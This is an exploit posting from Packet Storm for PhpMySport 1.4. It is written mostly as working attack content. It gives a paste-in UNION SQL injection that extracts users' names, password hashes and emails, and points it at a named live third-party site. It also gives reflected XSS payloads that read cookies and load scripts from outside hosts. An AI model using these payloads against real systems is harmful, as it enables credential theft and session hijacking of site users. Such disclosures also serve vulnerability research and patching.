what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

PhpMySport 1.4 XSS / SQL Injection

PhpMySport 1.4 XSS / SQL Injection
Posted Mar 12, 2009
Authored by XaDoS

PhpMySport version 1.4 suffers from cross site scripting and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection
SHA-256 | a7e5bdd5e53ecb07b1600bc6835e1b996542cf4d4f97815f2944fb48837806aa

PhpMySport 1.4 XSS / SQL Injection

Change Mirror Download
#####################################################################
# + PhpMySport v. 1.4 Multiple Remote Vulnerabilities (XSS\SQL) + #
# ~ Discovered by XaDoS - xados [at] hotmail [dot] it ~ #
# ~ Th4nKs AlpHaNiX ~ #
#####################################################################

-Product site: http://phpmysport.sourceforge.net
-Version vuln: 1.4(latest) and maybe <

[+] COD3:

The code vuln is at page /member_list.php (SQL)
and many others for (XSS) like
/index.php (v3/4/5/6)

[+] EXPLoIt:


>>[$QL]<<

The bug is on the search_member page of this script
Yuo can write some bad sql code for see tha MD5 encrypted password ant name and other of the users..Example:

http://www.example.com/index.php?r=membre&v1=member_list

write in a search_member form:

-999'/**/union/**/all/**/select/**/1,2,3,4,5,6,7,concat(member_firstname,0x3a,member_pass,0x3a,member_email),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26/**/from/**/pms_member#

Now yuo can see the name, password and e-mail of users in the order:

name:password:email

Yuo can also see other informations like description, date of connection,country_id, sex, level_id, lastname, date of birth etc..

(this form is vuln to XSS.. try to inject javaScript ;-))



>>[XSS]<<

There are some pages vuln..
for example

http://www.example.com/index.php?r=competition&v1=view&v2=1&v3=1&v4=&v5=all&v6=[XSS]

[XSS] = "><script>alert(document.cookie)</script>
or
"><script src="http://www.badsite.com/page.js"></script>


########::D&m0::########

[SQL]:

http://olmobasket.altervista.org/phpmysport/index.php?r=membro&v1=member_list

Write in the search_member form the right query:

-999'/**/union/**/all/**/select/**/1,2,3,4,5,6,7,concat(member_firstname,0x3a,member_pass,0x3a,member_email),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26/**/from/**/pms_member#

Yuo will see the name:password:email of victims

[XSS]:

http://phpmysport.sourceforge.net/demo/index.php?r=competition&v1=view&v2=1&v3=1&v4=&v5=all&v6=5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cscript%20src=http://www.securitycode.it/x.js%3E%3C/script%3E

#############
/.end

"They danced down the streets like dingledodies, and I shambled after as I've been doing all my life after people who interest me, because the only people for me are the mad ones, the ones who are mad to live, mad to talk, mad to be saved, desirous of everything at the same time, the ones who never yawn or say a commonplace thing, but burn, burn, burn like fabulous yellow roman candles exploding like spiders across the stars and in the middle you see the blue centerlight pop and everybody goes "OHooooo!"

<3 Beat Generation (or Byte generation ;-))

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close